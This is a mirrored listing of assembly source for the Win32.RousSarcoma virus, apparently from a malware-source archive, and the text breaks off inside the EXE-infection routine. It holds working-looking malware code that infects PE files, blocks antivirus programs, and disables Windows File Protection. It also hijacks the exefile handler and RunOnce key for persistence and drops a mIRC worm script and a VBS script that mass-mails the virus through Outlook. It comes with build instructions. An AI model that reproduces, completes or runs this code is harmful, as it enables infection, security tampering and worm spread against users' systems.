mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1810 lines
53 KiB
NASM
1810 lines
53 KiB
NASM
|
||
;
|
||
;
|
||
; .--------------------------------.
|
||
; | |
|
||
; | Win32.RousSarcoma by SnakeByte |
|
||
; | SnakeByte@kryptocrew.de |
|
||
; | www.kryptocrew.de/snakebyte |
|
||
; .__________________________________.
|
||
;
|
||
;
|
||
; This virus was created by the idea of coding a retro virus, which
|
||
; is able too fool with some AV's. I was not able to realize all my ideas,
|
||
; but I think it is some fun. This virus uses some tricks to make disinfection
|
||
; harder. I came to the idea of making a virus which is able to drop itself to
|
||
; the original EXE File, when I saw that most AV's do not detect the first
|
||
; generation of a lot of viruses. Therefore the one part of this virus stays
|
||
; undetected by heuristics. Generally this virus consits of 2 parts. The EXE File
|
||
; Part and the one which is executed with an infected file. It "hooks" the execution
|
||
; of every EXE File and does not execute it if it is an AV. If it is none, it gets
|
||
; infected and started. Before starting the file it also checks if there is an
|
||
; mirc.ini in the same path. If there is one, it drops a mirc script worm. In Addition
|
||
; to this, the virus install itself in the registry to get started every time with windows.
|
||
; It searches the registry for more paths to infect files there. If it can't find more
|
||
; paths it drops a vbs script to send the worm around via Outlook.
|
||
;
|
||
; I am not good at writing so here is an overview of what
|
||
; the virus does :
|
||
;
|
||
;
|
||
; Name : Win32.RousSarcoma
|
||
; Type : PE-Appender by increasing last section
|
||
; Worming : Yes, mIRC Script and VBS Worm
|
||
; Operating System : Win32
|
||
; Author : SnakeByte
|
||
; Payload : None, too boring to write one ;) [ Got some other interesting stuff
|
||
; in mind i want to code as soon as possible ]
|
||
; Virus Size : 8192 Bytes
|
||
; Infection Mark : A-AV
|
||
; Encryption : None
|
||
; Autostart : RunOnce & exefiles
|
||
; Anti-Bait : Does not infect files < 20000 Bytes
|
||
; Anti-Debugging : Yes, against SoftIce and Int 1h tracing
|
||
; Anti-AV : Yes, does not allow the execution of several AV's
|
||
; disables Win2k File Protection
|
||
; Anti-User : Hides itself in files & several different places,
|
||
; is not shown at ctrl-alt-del list
|
||
; Runs at Level : Ring-3, but still infects every EXE File on executing
|
||
; Infects : 10 Files in the current directory,
|
||
; 10 Files in every path stored in this registry Key :
|
||
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
|
||
; Every EXE File which gets executed
|
||
;
|
||
; How to compile ( TASM 5.0 ) :
|
||
;
|
||
; tasm32 /z /ml /m3 RousSarc,,;
|
||
; tlink32 -Tpe -c RousSarc,RousSarc,, import32.lib
|
||
; pewrsec RousSarc.EXE
|
||
;
|
||
; ( Make sure that the .EXE is uppercases !! )
|
||
;
|
||
; At the moment there are just 100 Bytes of Code i could add, with the file staying
|
||
; at 8192 Bytes. If I would add more, the file would grow to 12 KB. I decided to
|
||
; keep it small and leave stuff out like encryption or even poly. Maybe it could
|
||
; be optimized on several parts to make it fit with encryption to a 8 KB file,
|
||
; but I don't mind at the moment
|
||
;
|
||
;
|
||
;
|
||
; Thanks and greetz to :
|
||
;
|
||
; Lord Arz : Did you also finish your EXEFILES "hooking" something ? ;)
|
||
; DukeCS : Heh, when will KC be done ? *fg*
|
||
; Matsad : Sorry, for not coming, but i got no cash and need to see my girlfriend :P
|
||
; Lethal Mind : Heh, where are you ? ;(
|
||
; Ciatrix : Nice that you carry on !
|
||
;
|
||
;
|
||
|
||
; ***************************************************************************
|
||
; ------------------------[ Let's get ready to rumble ]----------------------
|
||
; ***************************************************************************
|
||
|
||
.586p
|
||
.model flat
|
||
jumps ; calculate Jumps
|
||
.radix 16 ; Hexadecimal numbers
|
||
|
||
; define some API's
|
||
extrn ExitProcess:PROC ; Host for EXE-Part
|
||
extrn LoadLibraryA:PROC ; nessesairy to get all other API's in the EXE-Part
|
||
extrn GetProcAddress:PROC ; cause I don't want DLL not found error's
|
||
|
||
extrn MessageBoxA:PROC ; for testing
|
||
|
||
.code
|
||
; Some constants
|
||
VirusSize equ 8192d ; Lenght of EXE-File
|
||
ImageBase equ 400000h ; Imagebase of our TASM generated EXE-File
|
||
|
||
CPart1 equ 600h
|
||
Gap1 equ 0A00h
|
||
|
||
; ###########################################################################
|
||
; -------------------[ This is the first part of the virus ]-----------------
|
||
; ###########################################################################
|
||
Virus:
|
||
; Here do we search for EXE-files and put the
|
||
; entire PE-Virus EXE to the end !
|
||
; we search for the needed api's with GetProcAdress
|
||
; and LoadModuleHandle, so we will not get Problems
|
||
; with missing DLL's or API's
|
||
|
||
mov ebp, 'VA-A' ; place a mark in ebp, to identify this part
|
||
|
||
lea eax, KERNEL32 ; push name of kernel32.dll
|
||
push eax
|
||
call LoadLibraryA ; save Handle
|
||
mov dword ptr [K32Handle], eax
|
||
test eax, eax ; if we failed we stop here
|
||
jz FirstGenHost
|
||
|
||
lea esi, Kernel32Names ; get all API's we need from kernel
|
||
lea edi, XFindFirstFileA
|
||
mov ebx, K32Handle
|
||
push NumberOfKernel32APIS
|
||
pop ecx
|
||
call GetAPI3 ; the procedure is needed in both parts
|
||
|
||
lea eax, advname ; push name of advapi32.dll
|
||
push eax
|
||
call LoadLibraryA ; save Handle
|
||
mov dword ptr [ADVHandle], eax
|
||
test eax, eax ; if we failed we stop here
|
||
jz FirstGenHost
|
||
|
||
lea esi, AdvapiNames ; get all API's we need from kernel
|
||
lea edi, XRegOpenKeyExA
|
||
mov ebx, ADVHandle
|
||
push NumberOfAdvapiAPIS
|
||
pop ecx
|
||
call GetAPI3 ; the procedure is needed in both parts
|
||
|
||
; Lets hide our Application from the CTRL-ALT-DEL List,
|
||
; to prevent us from being detected by a suspicious user ;)
|
||
|
||
; Check if the API is available
|
||
cmp dword ptr [XRegisterServiceProcess],0
|
||
je NoHide
|
||
|
||
; Get ID of our process
|
||
call dword ptr [XGetCurrentProcessId]
|
||
|
||
push 1 ; We want to run as a service
|
||
push eax ; process id
|
||
call dword ptr [XRegisterServiceProcess]
|
||
|
||
NoHide:
|
||
|
||
; ***************************************************************************
|
||
; ---------------------------[ Initialisation ]------------------------------
|
||
; ***************************************************************************
|
||
; Lets do a check on our commandline params,
|
||
; to see, if we got startet with a filename
|
||
; in it --> exefile method
|
||
|
||
call dword ptr [XGetCommandLineA]
|
||
mov dword ptr [CmdLine], eax
|
||
|
||
; the start of the commandline is in eax,
|
||
; we will parse it to the .exe part to see
|
||
; if there is anything afterwards
|
||
CommandReceive1:
|
||
cmp dword ptr [eax],'EXE.'
|
||
je CommandOK1
|
||
inc eax
|
||
jmp CommandReceive1
|
||
|
||
|
||
CommandOK1:
|
||
add eax, 4h ; eax points directly after the <name>.exe
|
||
cmp byte ptr [eax], 0 ; if the Commandline ends here, we do not need
|
||
je SetRunOnceKey ; to care about this ;)
|
||
|
||
add eax, 2h ; skip blanc and "
|
||
mov esi, eax ; save it
|
||
mov dword ptr [SaveBlanc], esi
|
||
|
||
push esi
|
||
call AVNameCheck
|
||
cmp esi, 0
|
||
je AVMessage
|
||
pop esi
|
||
jmp mIRCcheck
|
||
|
||
|
||
AVMessage: ; Arg ! Dirty AV found .. :P
|
||
pop esi ; lets drop a message
|
||
|
||
push 30h ; Style
|
||
push esi
|
||
push offset AVMsg
|
||
push 0
|
||
call MessageBoxA
|
||
jmp SetRunOnceKey
|
||
|
||
AVMsg db "File is corrupted. Can't start program",0
|
||
|
||
PathEnd dd 0h
|
||
|
||
mIRCcheck: ; we search for the path
|
||
pushad
|
||
|
||
push offset PathEnd
|
||
push offset NameBuffer
|
||
push 255d
|
||
push dword ptr [SaveBlanc]
|
||
call dword ptr [XGetFullPathNameA]
|
||
|
||
mov edi, dword ptr [PathEnd]
|
||
mov esi, offset mircINI ; append the mirc.ini to the path
|
||
mov ecx, 9d
|
||
rep movsb ; and now we need to check if the mIRC.ini does exist
|
||
; if it does, we found a mirc script to infect *eg*
|
||
; because we infect it bevore mIRC gets loaded, we do not
|
||
; need to fear the mIRC worm protection
|
||
lea esi, NameBuffer
|
||
call FindFirstFileProc
|
||
cmp eax, -1 ; we did not found the mirc.ini ;(
|
||
je NoMirc
|
||
|
||
push offset NameBuffer ; Write our entry to the file
|
||
push offset MIRCprot
|
||
push offset MOffset
|
||
push offset MIRCrfiles
|
||
call dword ptr [XWritePrivateProfileStringA]
|
||
|
||
mov edi, dword ptr [PathEnd]
|
||
mov esi, offset MIRCprot ; append the RousSarc.ini to the path
|
||
mov ecx, 13d
|
||
rep movsb ; and now we need to check if the mIRC.ini does exist
|
||
|
||
push 0
|
||
push 080h ; normal attribs
|
||
push 2h ; create a new file (always)
|
||
push 0
|
||
push 0
|
||
push 0C0000000h ; read + write
|
||
lea eax, NameBuffer ; file we create
|
||
push eax
|
||
Call dword ptr [XCreateFileA]
|
||
cmp eax, 0FFFFFFFFh
|
||
je NoMirc
|
||
|
||
push eax ; save filehandle
|
||
|
||
push 0 ; write script to file
|
||
push offset Write
|
||
push offset EndScript - offset MIRCscript
|
||
push offset MIRCscript
|
||
push Handle
|
||
call dword ptr [XWriteFile]
|
||
|
||
|
||
; Handle is still on the stack, so we close the file
|
||
call dword ptr [XCloseHandle]
|
||
|
||
NoMirc:
|
||
; close the search handle
|
||
push dword ptr [FindHandle]
|
||
call dword ptr [XCloseHandle]
|
||
popad
|
||
|
||
CommandReceive2: ; so we will be able to locate the file and
|
||
cmp byte ptr [eax],'.' ; infect it
|
||
je CommandOK2
|
||
cmp byte ptr [eax],0 ; check if we don't get too far
|
||
je Outbreak
|
||
inc eax
|
||
jmp CommandReceive2
|
||
CommandOK2:
|
||
add eax, 4h
|
||
cmp byte ptr [eax],0
|
||
jne ZeroAfterName
|
||
mov byte ptr [eax+1],0
|
||
ZeroAfterName:
|
||
mov byte ptr [eax],0 ; we place a Zero here, so we can do a findfirst
|
||
; on the filename which is in esi
|
||
|
||
push eax
|
||
push esi
|
||
call FindFirstFileProc
|
||
pop esi ; esi points to start of filename
|
||
pop ebx ; ebx points to the parameters
|
||
|
||
cmp eax, -1 ; file is not there :(
|
||
je Outbreak ; we infect some others
|
||
|
||
|
||
pushad ; save registers
|
||
lea edi, WFD_szFileName
|
||
mov ecx, ebx ; lenght of filename in ecx
|
||
sub ecx, esi
|
||
inc ecx
|
||
rep movsb ; write filename & path there
|
||
|
||
lea esi, WFD_szFileName ; point to filename
|
||
call InfectFile ; infect file
|
||
popad ; restore registers
|
||
|
||
; esi points to start of filename
|
||
; ebx points to the parameters
|
||
mov byte ptr [ebx], " " ; place a blank here
|
||
|
||
xor eax, eax ; let's execute the file
|
||
push offset ProcessInformation
|
||
push offset StartupInfo
|
||
push eax ; lpCurrentDirectory
|
||
push eax ; lpEnvironment
|
||
push eax ; Create_New_Process_Group & Normal_Priority_Class
|
||
push eax ; bInheritHandles
|
||
push eax ; lpThreadAttributes
|
||
push eax ; lpProcessAttributes
|
||
push esi ; filename with commandline
|
||
push eax ; command line
|
||
call dword ptr [XCreateProcessA]
|
||
|
||
|
||
SetRunOnceKey: ; Here we go if we found an AV or got
|
||
; or after executing a program
|
||
; lets add 2 autostart features
|
||
|
||
; Now we store the name of this file in the RunOnce key
|
||
; ( we add our file that regulary, that it will be always there,
|
||
; but nearly noone looks for files in this key *g* )
|
||
push offset RegHandle
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset RunOnceKey ; check if our key exists
|
||
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
cmp eax, 0
|
||
jne CheckOwnKey
|
||
|
||
xor eax, eax ; search for end of Systemdirectory
|
||
lea edi, NameBuffer
|
||
mov ebx, edi
|
||
repnz scasb
|
||
sub ebx, edi
|
||
inc ebx
|
||
|
||
push ebx
|
||
push offset NameBuffer ; Value
|
||
push 1h ; String
|
||
push 0 ; reserved
|
||
push offset Valuename ; value name
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegSetValueExA]
|
||
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
|
||
jmp FirstGenHost
|
||
|
||
SaveBlanc dd 0h
|
||
EXEFilesKey db 'exefile\shell\open\command',0
|
||
EXEFilesValue db 'RousSarc.EXE "%1" %*',0
|
||
EFVSize equ $ - offset EXEFilesValue
|
||
|
||
; ***************************************************************************
|
||
; ------------------------------[ Outbreak ! ]-------------------------------
|
||
; ***************************************************************************
|
||
Outbreak: ; We got no commandline !
|
||
HKEY_CURRENT_USER equ 80000001h
|
||
HKEY_LOCAL_MACHINE equ 80000002h
|
||
; first of all, let's disable the win2k virus protection
|
||
|
||
push offset RegHandle
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset _2kProt ; check if our key exists
|
||
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
test eax, eax ; if we failed opening the key, we return
|
||
jz No2kProt
|
||
|
||
; Value to disable Windows File Protection
|
||
mov dword ptr [RegBuffer], 0ffffff9dh
|
||
|
||
push 4
|
||
push offset RegBuffer ; Value
|
||
push 4h ; REG_DWORD
|
||
push 0 ; reserved
|
||
push offset _2kProtValue ; value name
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegSetValueExA]
|
||
|
||
; Close it again
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
No2kProt: ; Now we will copy ourselfes into the windows directory
|
||
; to be able to respond to every started file
|
||
; we just got the cmd line
|
||
mov eax, dword ptr [CmdLine]
|
||
CommandReceive3:
|
||
cmp dword ptr [eax],'EXE.'
|
||
je CommandOK3
|
||
inc eax
|
||
jmp CommandReceive3
|
||
|
||
|
||
CommandOK3:
|
||
add eax, 4h ; eax points directly after the <name>.exe
|
||
mov byte ptr [eax], 0 ; Place a 0 here to copy the file
|
||
|
||
push 255d
|
||
push offset NameBuffer
|
||
call dword ptr [XGetWindowsDirectoryA]
|
||
|
||
xor eax, eax ; search for end of Systemdirectory
|
||
lea edi, NameBuffer
|
||
repnz scasb
|
||
dec edi
|
||
lea esi, RunOnceName ; Append Filename
|
||
mov ecx, 13d
|
||
rep movsb
|
||
|
||
; Copy our file to the system directory
|
||
push 1
|
||
push offset NameBuffer ; where to store
|
||
push dword ptr [CmdLine] ; existing
|
||
call dword ptr [XCopyFileA]
|
||
|
||
; Lets set the Exefiles Key
|
||
push offset RegHandle
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset EXEFilesKey ; Open It
|
||
push 80000000h ; HKEY_CLASSES_ROOT
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
cmp eax, 0
|
||
jne CheckOwnKey
|
||
|
||
; Let's set our Value
|
||
push EFVSize
|
||
push offset EXEFilesValue ; Value
|
||
push 1h ; String
|
||
push 0h ; reserved
|
||
push 0h ; value name
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegSetValueExA]
|
||
|
||
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
|
||
CheckOwnKey:
|
||
mov dword ptr [RegBuffer], 0h
|
||
|
||
push offset RegHandle
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset MyKey ; check if our key exists
|
||
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
test eax, eax ; if we failed opening the key, we return
|
||
jz KeySet
|
||
|
||
xor eax, eax ; clear eax
|
||
push offset Dispostiton
|
||
push offset RegHandle
|
||
push eax ; security attribs
|
||
push 001F0000h ; complete access
|
||
push eax ; REG_OPTION_NON_VOLATILE
|
||
push eax ; lpClass
|
||
push eax ; reserved
|
||
push offset MyKey ; Subkey
|
||
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
|
||
call dword ptr [XRegCreateKeyExA]
|
||
|
||
KeySet:
|
||
|
||
push offset RegData2
|
||
push offset RegBuffer
|
||
push offset RegData1
|
||
push 0
|
||
push offset Valuename
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegQueryValueExA]
|
||
; RegBuffer contains now a value after which
|
||
; we decide what to do, but first, we increment the
|
||
; value and save it
|
||
inc dword ptr [RegBuffer] ; Increment Value
|
||
|
||
push 4
|
||
push offset RegBuffer ; Value
|
||
push 4h ; REG_DWORD
|
||
push 0 ; reserved
|
||
push offset Valuename ; value name
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegSetValueExA]
|
||
|
||
; Close the key
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
mov eax, dword ptr [RegBuffer]
|
||
|
||
; Now we decide what to do ( we start with 2 because we just incremented it and i will not do anything after
|
||
; the second start, cause we need one reboot to disable WFP ) :
|
||
;
|
||
; Value - what to do
|
||
;
|
||
; 2 - infect directory 1 of
|
||
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
|
||
; 3 - " " 2 " ""
|
||
; 4 - " " 3 " ""
|
||
; 5 - " " 4 " ""
|
||
; 6 - " " 5 " ""
|
||
; ... no more directorys in RegKey ? --> set value to 0
|
||
|
||
|
||
dec eax
|
||
dec eax
|
||
|
||
jz NoRegistryInfection
|
||
push eax
|
||
|
||
push offset RegHandle
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset AppPaths ; App Paths are stored here
|
||
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
pop eax
|
||
|
||
push 255d
|
||
push offset NameBuffer
|
||
push eax ; Key Number we want to retrieve
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegEnumKeyA]
|
||
cmp eax, 0
|
||
jne DropVBSWorm
|
||
|
||
push offset RegHandle2
|
||
push 001F0000h ; complete access
|
||
push 0h ; reserved
|
||
push offset NameBuffer ; App Paths are stored here
|
||
push dword ptr [RegHandle] ; HKEY_LOCAL_MACHINE
|
||
call dword ptr [XRegOpenKeyExA]
|
||
|
||
; Read Vakze
|
||
|
||
mov dword ptr [RegData2], 255d
|
||
|
||
push offset RegData2
|
||
push offset NameBuffer
|
||
push offset RegData1
|
||
push 0
|
||
push offset PathValue
|
||
push dword ptr [RegHandle2]
|
||
call dword ptr [XRegQueryValueExA]
|
||
|
||
push dword ptr [RegHandle2]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
lea edi, NameBuffer ; Remove ; to get directory
|
||
mov al, ';'
|
||
mov ecx, 254d
|
||
repnz scasb
|
||
dec edi
|
||
mov byte ptr [edi], 0
|
||
|
||
push offset CurrentPath ; Get Current dir and save it
|
||
push 255d
|
||
call dword ptr [XGetCurrentDirectoryA]
|
||
|
||
push offset NameBuffer ; set new directory
|
||
call dword ptr [XSetCurrentDirectoryA]
|
||
|
||
call InfectCurDir ; Infect the directory
|
||
|
||
push offset CurrentPath ; restore old directory
|
||
call dword ptr [XSetCurrentDirectoryA]
|
||
|
||
CloseRegInfection:
|
||
push dword ptr [RegHandle]
|
||
call dword ptr [XRegCloseKey]
|
||
|
||
|
||
NoRegistryInfection:
|
||
|
||
call InfectCurDir ; Infect the current directory
|
||
jmp FirstGenHost
|
||
|
||
|
||
DropVBSWorm: ; Ok, we found no more directorys in the App Paths
|
||
; Registry Key, so we will drop a little VBS Script
|
||
; and execute it, so the virus will also spread with
|
||
; the help of outlook
|
||
push 0
|
||
push 080h ; normal attribs
|
||
push 2h ; create a new file (always)
|
||
push 0
|
||
push 0
|
||
push 0C0000000h ; read + write
|
||
lea eax, VBSWorm
|
||
push eax
|
||
Call dword ptr [XCreateFileA]
|
||
cmp eax, 0FFFFFFFFh
|
||
je CloseRegInfection
|
||
|
||
push eax ; save filehandle
|
||
|
||
push 0 ; write script to file
|
||
push offset Write
|
||
push offset EndVBSScript - offset VBSscript
|
||
push offset VBSscript
|
||
push Handle
|
||
call dword ptr [XWriteFile]
|
||
|
||
|
||
; Handle is still on the stack, so we close the file
|
||
call dword ptr [XCloseHandle]
|
||
|
||
xor eax, eax ; let's execute the wormy script
|
||
push offset ProcessInformation
|
||
push offset StartupInfo
|
||
push eax ; lpCurrentDirectory
|
||
push eax ; lpEnvironment
|
||
push eax ; Create_New_Process_Group & Normal_Priority_Class
|
||
push eax ; bInheritHandles
|
||
push eax ; lpThreadAttributes
|
||
push eax ; lpProcessAttributes
|
||
push offset VBSWorm ; filename with commandline
|
||
push eax ; command line
|
||
call dword ptr [XCreateProcessA]
|
||
|
||
|
||
jmp CloseRegInfection
|
||
|
||
VBSscript:
|
||
db 'On Error Resume Next', 13d, 10d
|
||
db 'Dim R', 13d, 10d
|
||
db 'Set RS=CreateObject("Outlook.Application")', 13d, 10d
|
||
db 'For R=1 To 500', 13d, 10d
|
||
db 'Set Mail=RS.CreateItem(0)', 13d, 10d
|
||
db 'Mail.to=RS.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)', 13d, 10d
|
||
db 'Mail.Subject="Funny Thing !"', 13d, 10d
|
||
db 'Mail.Body="Take a look at this and just start laughing !"', 13d, 10d
|
||
db 'Mail.Attachments.Add("C:\RousSarc.EXE")', 13d, 10d
|
||
db 'Mail.Send', 13d, 10d
|
||
db 'Next', 13d, 10d
|
||
db 'RS.Quit', 13d, 10d, 13d, 10d
|
||
EndVBSScript:
|
||
|
||
VBSWorm db 'C:\RousSarc.vbs',0
|
||
|
||
AppPaths db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0
|
||
PathValue db 'Path',0
|
||
|
||
RegData2 dd 4h ; Bytes to read in Buffer
|
||
RegBuffer dd 0h ; Buffer
|
||
Valuename db 'RousSarcoma',0
|
||
MyKey db 'RousSarcoma',0
|
||
RegHandle2 dd 0h
|
||
|
||
|
||
|
||
|
||
; ***************************************************************************
|
||
; --------------------------[ Infection current dir ]------------------------
|
||
; ***************************************************************************
|
||
|
||
; We got all we need
|
||
; let's party ;)
|
||
InfectCurDir: ; Infect up to 10 files in the current directory
|
||
; use FindFirstFile / Next to find files
|
||
; 10 files at max.
|
||
mov dword ptr [InfCounter], 10d
|
||
|
||
|
||
lea esi, filemask
|
||
call FindFirstFileProc
|
||
|
||
inc eax
|
||
jz EndInfectCurDir1 ; did we get all ?
|
||
dec eax
|
||
|
||
InfectCurDirFile:
|
||
; Filename in esi
|
||
lea esi, WFD_szFileName
|
||
call InfectFile ; Try it !
|
||
cmp dword ptr [InfCounter], 0h
|
||
jna EndInfectCurDir2
|
||
|
||
call FindNextFileProc
|
||
|
||
test eax, eax
|
||
jnz InfectCurDirFile
|
||
|
||
EndInfectCurDir2: ; close Search - Handle
|
||
|
||
push dword ptr [FindHandle]
|
||
call dword ptr [XFindClose]
|
||
|
||
EndInfectCurDir1:
|
||
|
||
ret
|
||
|
||
|
||
; ***************************************************************************
|
||
; -------------------------[ prepare Infection ]----------------------------
|
||
; ***************************************************************************
|
||
|
||
InfectFile: ; filename is in WFD_szFileName
|
||
; esi shows to this value
|
||
|
||
call AVNameCheck
|
||
cmp esi, 0h
|
||
je NoInfection
|
||
|
||
lea esi, WFD_szFileName
|
||
|
||
; ignore files smaller than 20000 Bytes
|
||
cmp dword ptr [WFD_nFileSizeLow], 20000d
|
||
jbe NoInfection
|
||
; ignore files bigger than 4,3 GB
|
||
cmp dword ptr [WFD_nFileSizeHigh], 0
|
||
jne NoInfection
|
||
|
||
call OpenFile ; Open File
|
||
jc NoInfection ; stop if there are problems
|
||
mov esi, eax
|
||
|
||
call CheckMZSign ; Check for DOS-Stub
|
||
jc Notagoodfile
|
||
|
||
cmp word ptr [eax+3Ch], 0h
|
||
je Notagoodfile
|
||
|
||
xor esi, esi ; get PE-Header
|
||
mov esi, [eax+3Ch]
|
||
; Check if file is corrupted
|
||
cmp dword ptr [WFD_nFileSizeLow], esi
|
||
jb Notagoodfile
|
||
|
||
add esi, eax
|
||
mov edi, esi
|
||
call CheckPESign ; Check for PE-Header
|
||
jc Notagoodfile
|
||
; Check Infection Mark
|
||
; --> A-AV ( Anti- Anti-Virus )
|
||
|
||
cmp dword ptr [esi+4Ch], 'VA-A'
|
||
jz Notagoodfile
|
||
|
||
mov bx, word ptr [esi+16h]; Get Characteristics
|
||
and bx, 0F000h ; select Dll-Flag
|
||
cmp bx, 02000h
|
||
je Notagoodfile ; we won't no DLL Files
|
||
|
||
mov bx, word ptr [esi+16h]; Check for DLL-Files
|
||
and bx, 00002h
|
||
cmp bx, 00002h
|
||
jne Notagoodfile
|
||
|
||
call InfectEXE ; Infect this sucker !
|
||
jc NoInfection
|
||
|
||
Notagoodfile:
|
||
call UnMapFile
|
||
|
||
NoInfection:
|
||
ret
|
||
|
||
; ***************************************************************************
|
||
; ------------------------------[ File-Handling ]----------------------------
|
||
; ***************************************************************************
|
||
; FileName needs to be in esi
|
||
OpenFile:
|
||
xor eax,eax ; Open Files
|
||
push eax
|
||
push eax
|
||
push 3h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 80000000h or 40000000h
|
||
push esi ; Filename is in ESI
|
||
call dword ptr [XCreateFileA]
|
||
|
||
inc eax
|
||
jz Closed
|
||
dec eax
|
||
|
||
mov dword ptr [FileHandle],eax
|
||
mov ecx, dword ptr [WFD_nFileSizeLow]
|
||
|
||
CreateMap:
|
||
push ecx
|
||
xor eax,eax
|
||
push eax
|
||
push ecx
|
||
push eax
|
||
push 00000004h
|
||
push eax
|
||
push dword ptr [FileHandle]
|
||
call dword ptr [XCreateFileMappingA]
|
||
|
||
mov dword ptr [MapHandle],eax
|
||
|
||
pop ecx ; Get Map-Site
|
||
test eax, eax
|
||
jz CloseFile ; Datei wieder...
|
||
|
||
xor eax,eax
|
||
push ecx
|
||
push eax
|
||
push eax
|
||
push 2h
|
||
push dword ptr [MapHandle]
|
||
call dword ptr [XMapViewOfFile]
|
||
|
||
or eax,eax
|
||
jz UnMapFile
|
||
; EAX contains starting offset of the map
|
||
mov dword ptr [MapAddress],eax
|
||
clc
|
||
ret
|
||
|
||
UnMapFile:
|
||
call UnMapFile2
|
||
|
||
CloseFile:
|
||
push dword ptr [FileHandle]
|
||
call [XCloseHandle]
|
||
|
||
Closed:
|
||
stc
|
||
ret
|
||
|
||
UnMapFile2:
|
||
push dword ptr [MapAddress]
|
||
call dword ptr [XUnmapViewOfFile]
|
||
|
||
push dword ptr [MapHandle]
|
||
call dword ptr [XCloseHandle]
|
||
|
||
ret
|
||
|
||
|
||
; ***************************************************************************
|
||
; ---------------------[ Infection of the EXE-File ]-------------------------
|
||
; ***************************************************************************
|
||
|
||
InfectEXE: ; MapAddress contains the start address of the file
|
||
|
||
mov ecx, [esi+3Ch] ; esi points to PE-Header
|
||
; ecx = Alignment Faktor
|
||
mov eax, dword ptr [WFD_nFileSizeLow]
|
||
add eax, VirusSize
|
||
|
||
call Align
|
||
mov dword ptr [NewSize], eax
|
||
xchg ecx, eax
|
||
|
||
pushad
|
||
call UnMapFile2 ; remap file
|
||
popad
|
||
|
||
call CreateMap
|
||
jc NoEXE
|
||
; esi = PE-Header
|
||
mov esi, dword ptr [eax+3Ch]
|
||
|
||
add esi, eax
|
||
mov edi, esi ; edi = esi
|
||
; eax = Sections
|
||
; get last section
|
||
movzx eax, word ptr [edi+06h]
|
||
dec eax
|
||
imul eax, eax, 28h
|
||
add esi, eax
|
||
add esi, 78h ; point to Directory Table
|
||
|
||
mov edx, [edi+74h] ; Get Directory Entrys
|
||
shl edx, 3h
|
||
add esi, edx
|
||
; get EIP
|
||
mov eax, [edi+28h]
|
||
mov dword ptr [OldEIP], eax
|
||
|
||
; get Imagebase
|
||
mov eax, [edi+34h]
|
||
mov dword ptr [OldBase], eax
|
||
|
||
mov edx, [esi+10h] ; get size of RAW-Data
|
||
mov ebx, edx
|
||
add edx, [esi+14h] ; edx = points to raw-data
|
||
push edx
|
||
|
||
mov eax, ebx
|
||
add eax, [esi+0Ch] ; EAX contains now Start of our file
|
||
; but we need to point it to the second part of the virus
|
||
add eax, ( offset SecondPart - ImageBase ) - Gap1
|
||
; the 0A00h are caused by the uninitialized data
|
||
|
||
mov [edi+28h], eax
|
||
mov dword ptr [NewEIP], eax
|
||
|
||
mov eax, [esi+10h] ; enlarge Raw-Data
|
||
push eax
|
||
add eax, VirusSize ; VirusSize = Size of entire file
|
||
mov ecx, [edi+3Ch] ; align it
|
||
call Align
|
||
|
||
mov [esi+10h], eax ; save in file
|
||
|
||
pop eax ; new Virtual-Size
|
||
add eax, VirusSize
|
||
mov [esi+08h], eax
|
||
|
||
pop edx
|
||
|
||
mov eax, [esi+10h]
|
||
add eax, [esi+0Ch] ; get new imagesize
|
||
mov [edi+50h], eax
|
||
; change the section flags
|
||
or dword ptr [esi+24h], 0A0000020h
|
||
; Write infection mark to file
|
||
; --> A-AV ( Anti- Anti-Virus )
|
||
mov dword ptr [edi+4Ch], 'VA-A'
|
||
|
||
xchg edi, edx
|
||
|
||
; save the start of the virus in file
|
||
mov dword ptr [StartofVirusinFile], edi
|
||
add edi, dword ptr [MapAddress]
|
||
push edi
|
||
|
||
call OpenMyself
|
||
; lets save the right Imagebase and EIP
|
||
; inside our buffered file ;)
|
||
|
||
; Save EIP & Imagebase
|
||
mov eax, dword ptr [OldEIP]
|
||
lea edi, FileBuffer
|
||
add edi, (offset retEIP - ImageBase) - Gap1
|
||
stosd
|
||
|
||
mov eax, dword ptr [OldBase]
|
||
lea edi, FileBuffer
|
||
add edi, (offset retBas - ImageBase) - Gap1
|
||
stosd
|
||
|
||
pop edi
|
||
lea esi, FileBuffer
|
||
mov ecx, VirusSize ; First Part
|
||
rep movsb ; append
|
||
; we need two steps, otherwise we would fill the
|
||
|
||
dec byte ptr [InfCounter]
|
||
clc
|
||
